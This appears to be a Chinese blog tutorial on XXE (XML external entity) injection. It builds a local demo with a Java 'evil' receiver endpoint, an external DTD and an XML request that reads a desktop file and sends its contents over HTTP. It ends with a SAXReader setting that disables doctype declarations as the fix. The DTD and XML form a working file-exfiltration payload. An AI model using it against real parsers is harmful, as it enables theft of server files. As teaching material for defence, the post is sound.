• xxe XML外部实体注入


    xml,允许我们存储和传输数据。也提供了DTD,允许我们进行文档类型定义,外部DTD,定义的实体可以窃取服务器信息,上传至指定的服务器上。

    接下来,就模拟一下:xxe,窃取信息服务器信息,上传至指定服务器。

    1.编写接收接口:

       @RequestMapping("evil/{content}")
        @ResponseBody
        public void evil(@PathVariable String content,HttpServletResponse response) {
            LOGGER.info("content:"+content);
            ResponseUtil.writeHtml(response, content);
        }

    2.编写外部dtd:

    <!ENTITY % shell "<!ENTITY upload SYSTEM 'http://127.0.0.1:8096/evil/%file;'>">
    %shell;

    3.编写xml请求数据:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE root [
        <!ENTITY % file SYSTEM "file:///Users/my_mac/Desktop/txt">
        <!ENTITY % xxe SYSTEM "http://127.0.0.1:8096/xxe.dtd">
        %xxe;
    ]>
    <value>&upload;</value>

    以上就是模拟了,xml数据,获取我桌面txt文件内容,上传至http://127.0.0.1:8096/evil,接口的示例。

    微信支付回调函数使用的就是xml传输数据。今年就暴漏出了,xxe攻击的风险。目前已经修复。阻止xxe攻击,一般只要禁止外部实体的使用就可以了。

    举一例:

    org.dom4j.io.SAXReader
    
    SAXReader reader = new SAXReader();
    
    
    
    reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);  //设置禁止使用doctype声明,就可以阻止此类攻击
  • 相关阅读:
    数据分析之异常值分析-箱线图
    PHP学习路线图(转)
    学习简易爬虫设计(转)
    学习扫码登录的例子
    2017年PHP程序员未来路在何方(转)
    一个PHP开发APP接口的视频教程
    PHP实现Restful风格的API(转)
    大型网站技术架构-入门梳理(转)
    PHP面试总结(转)
    大型网站系统架构的演化(转)
  • 原文地址:https://www.cnblogs.com/clcliangcheng/p/9814680.html
Copyright © 2020-2023  润新知